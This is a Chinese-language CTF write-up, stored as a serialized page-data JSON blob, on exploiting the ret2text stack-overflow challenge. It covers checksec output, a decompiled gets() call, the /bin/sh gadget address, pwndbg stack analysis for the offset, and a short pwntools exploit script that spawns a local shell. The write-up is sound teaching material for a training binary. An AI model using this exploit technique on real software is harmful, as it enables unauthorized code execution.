[{"data":1,"prerenderedAt":183},["ShallowReactive",2],{"article-10":3},{"id":4,"title":5,"body":6,"create":171,"description":43,"extension":172,"labels":173,"locked":175,"meta":176,"navigation":177,"path":178,"seo":179,"stem":180,"update":181,"__hash__":182},"articles/article/10.md","Pwn 栈溢出",{"type":7,"value":8,"toc":164},"minimark",[9,13,17,36,46,49,52,60,71,76,95,100,103,106,111,126,132,150,153,161],[10,11,12],"h2",{"id":12},"栈溢出题目",[14,15,16],"h3",{"id":16},"ret2text",[18,19,20,27,30,31,35],"p",{},[21,22,26],"a",{"href":23,"rel":24},"https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text",[25],"nofollow","下载地址",[28,29],"br",{},"\n拿到程序首先使用 checksec 检查这个程序的一些信息，运行 ",[32,33,34],"code",{},"checksec ret2text"," 我们会得到如下信息：",[37,38,44],"pre",{"className":39,"code":41,"language":42,"meta":43},[40],"language-bash","    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n","bash","",[32,45,41],{"__ignoreMap":43},[18,47,48],{},"可以看出这个程序是 32 位程序，仅开了栈不可执行保护",[18,50,51],{},"接着使用 32 位 IDA Pro 打开程序：",[37,53,58],{"className":54,"code":56,"language":57,"meta":43},[55],"language-c","int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char s[100]; // [esp+1Ch] [ebp-64h] BYREF\n\n  setvbuf(stdout, 0, 2, 0);\n  setvbuf(_bss_start, 0, 1, 0);\n  puts(\"There is something amazing here, do you know anything?\");\n  gets(s);\n  printf(\"Maybe I will tell you next time !\");\n  return 0;\n}\n","c",[32,59,56],{"__ignoreMap":43},[18,61,62,63,66,67,70],{},"可以看到 ",[32,64,65],{},"gets"," 函数绝对会导致栈溢出的问题，接着我们查看一下这个程序里面的字符串，使用 ",[32,68,69],{},"Shift + F12"," 即可进入 String 窗口，在\nStrings 窗口我们能看到：",[18,72,73],{},[32,74,75],{},".rodata:08048763\t00000008\tC\t/bin/sh",[18,77,78,79,82,83,86,87,90,91,94],{},"这样一条数据，双击，看到这个字段前面的标识符为 ",[32,80,81],{},"command","，用 ",[32,84,85],{},"Alt + T"," 搜索得到 ",[32,88,89],{},"secure"," 这个函数中包含 ",[32,92,93],{},"/bin/sh","\n，双击查看这个字符位置：",[18,96,97],{},[32,98,99],{},".text:0804863A                 mov     dword ptr [esp], offset command ; \"/bin/sh\"",[18,101,102],{},"可以看到其位置为 0804863A，我们在栈溢出的时候返回这个位置就行",[18,104,105],{},"接着用 pwndbg 来运行这个程序",[18,107,108],{},[32,109,110],{},"gdb ret2text",[18,112,113,114,117,118,121,122,125],{},"在调试界面先为 main 函数打上断点：",[32,115,116],{},"b main","，接着使用 ",[32,119,120],{},"r"," 命令来执行程序，程序会在 main 函数的位置停止，接着我们使用 ",[32,123,124],{},"n","\n一步步往下执行，直到我们可以输入，随便输入数据，用 stack 40 来查看栈内存放的数据：",[37,127,130],{"className":128,"code":129,"language":42,"meta":43},[40],"00:0000│ esp 0xffffd370 —▸ 0xffffd38c ◂— 'AAAA'\n01:0004│-084 0xffffd374 ◂— 0x0\n02:0008│-080 0xffffd378 ◂— 0x1\n03:000c│-07c 0xffffd37c ◂— 0x0\n04:0010│-078 0xffffd380 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx\n05:0014│-074 0xffffd384 ◂— 0xffffffff\n06:0018│-070 0xffffd388 —▸ 0x8048034 ◂— push es\n07:001c│ eax 0xffffd38c ◂— 'AAAA'\n08:0020│-068 0xffffd390 —▸ 0xf7ffd600 (_rtld_global+1504) ◂— 0x3\n09:0024│-064 0xffffd394 ◂— 0x20 /* ' ' */\n0a:0028│-060 0xffffd398 ◂— 0x0\n0b:002c│-05c 0xffffd39c —▸ 0xffffd554 ◂— 0x20 /* ' ' */\n0c:0030│-058 0xffffd3a0 ◂— 0x0\n0d:0034│-054 0xffffd3a4 ◂— 0x0\n0e:0038│-050 0xffffd3a8 ◂— 0x1000000\n0f:003c│-04c 0xffffd3ac ◂— 9 /* '\\t' */\n10:0040│-048 0xffffd3b0 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx\n11:0044│-044 0xffffd3b4 ◂— 0x0\n12:0048│-040 0xffffd3b8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'\n13:004c│-03c 0xffffd3bc —▸ 0xf7e2a054 (_dl_audit_preinit@got.plt) —▸ 0xf7fdde10 (_dl_audit_preinit) ◂— endbr32\n14:0050│-038 0xffffd3c0 —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f\n15:0054│-034 0xffffd3c4 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax\n16:0058│-030 0xffffd3c8 —▸ 0xf7c184be ◂— '_dl_audit_preinit'\n17:005c│-02c 0xffffd3cc —▸ 0xf7fbe4a0 —▸ 0xf7c00000 ◂— 0x464c457f\n18:0060│-028 0xffffd3d0 —▸ 0xffffd410 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac\n19:0064│-024 0xffffd3d4 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...\n1a:0068│-020 0xffffd3d8 —▸ 0xf7fbeb10 —▸ 0xf7c1acc6 ◂— 'GLIBC_PRIVATE'\n1b:006c│-01c 0xffffd3dc ◂— 0x1\n1c:0070│-018 0xffffd3e0 ◂— 0x1\n1d:0074│-014 0xffffd3e4 ◂— 0x0\n1e:0078│-010 0xffffd3e8 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac\n1f:007c│-00c 0xffffd3ec —▸ 0xf7d20f9b (__init_misc+43) ◂— add esp, 0x10\n20:0080│-008 0xffffd3f0 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'\n21:0084│-004 0xffffd3f4 ◂— 0x70 /* 'p' */\n22:0088│ ebp 0xffffd3f8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0\n23:008c│+004 0xffffd3fc —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10\n24:0090│+008 0xffffd400 ◂— 0x1\n25:0094│+00c 0xffffd404 —▸ 0xffffd4b4 —▸ 0xffffd627 ◂— '/home/ttdly/pwn/ret2text/ret2text'\n26:0098│+010 0xffffd408 —▸ 0xffffd4bc —▸ 0xffffd649 ◂— 'SHELL=/bin/bash'\n27:009c│+014 0xffffd40c —▸ 0xffffd420 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac\n",[32,131,129],{"__ignoreMap":43},[18,133,134,135,138,139,142,143,146,147],{},"可以看到我们输入的字符存放在 ",[32,136,137],{},"0xffffd38c"," 这个地址，而 ebp 在 ",[32,140,141],{},"0xffffd3f8"," 的位置，这时我们需要向栈内填充\n",[32,144,145],{},"0x3f8 - 0x38c = 0x6c"," 个字符，如果想要覆盖调用 main 函数地址位置，我们还需要额外填充 4 个字节，所以最终向栈内写入的字符数为\n",[32,148,149],{},"0x6c+4",[18,151,152],{},"大概流程我们已经知道了，接着我们来编写攻击脚本：",[37,154,159],{"className":155,"code":157,"language":158,"meta":43},[156],"language-python","from pwn import *\n\nlocal = process(\"./ret2text\");\ntarget = 0x0804863A # system(\"/bin/sh\") 的位置\npayload = b\"A\" * (0x6c + 4) + p32(target);\nlocal.send(payload);\nlocal.interactive();\n","python",[32,160,157],{"__ignoreMap":43},[18,162,163],{},"使用 python 运行这个脚本之后，我们可以看到终端已经进入了本机的 shell 界面，攻击成功。这个时候我们可以通过 shell 来得到我们的\nflag。",{"title":43,"searchDepth":165,"depth":165,"links":166},2,[167],{"id":12,"depth":165,"text":12,"children":168},[169],{"id":16,"depth":170,"text":16},3,"2024-02-08T12:08:10.000Z","md",[174],"ctf",false,{},true,"/article/10",{"title":5,"description":43},"article/10",null,"C3x2_-v30_6lmaTbtq6p0FvISJ_avh3cSKRWs5EG3dw",1755235549198]